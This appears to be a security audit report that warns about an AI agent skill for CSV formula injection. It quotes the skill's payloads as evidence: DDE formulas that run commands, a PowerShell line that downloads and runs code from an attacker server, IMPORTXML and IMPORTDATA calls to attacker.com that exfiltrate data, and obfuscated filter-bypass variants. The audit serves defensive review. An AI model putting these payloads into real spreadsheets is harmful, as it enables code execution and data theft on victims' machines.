csv-formula-injection
Warn
Audited by Gen Agent Trust Hub on Sep 26, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONOBFUSCATION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides functional payloads to execute arbitrary system commands using the Dynamic Data Exchange (DDE) protocol in spreadsheet applications. Evidence includes payloads like
DDE("cmd";"/C calc";"!A0")A0,@SUM(1+1)*cmd|' /C calc'!A0, and=rundll32|'URL.dll,OpenURL calc.exe'!A. - [REMOTE_CODE_EXECUTION]: The documentation includes exploitation chains to download and execute remote scripts via PowerShell. Evidence:
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0. - [DATA_EXFILTRATION]: The skill outlines methods for exfiltration using Google Sheets functions that make outbound network requests. Evidence includes
=IMPORTXML("http://attacker.com/", "//a/@href")and=IMPORTDATA("http://attacker.com/data.csv"). - [OBFUSCATION]: Details techniques to bypass security filters using whitespace and character dispersal within formula payloads, such as
= C m D |'/c calc.exe'!A.
Audit Metadata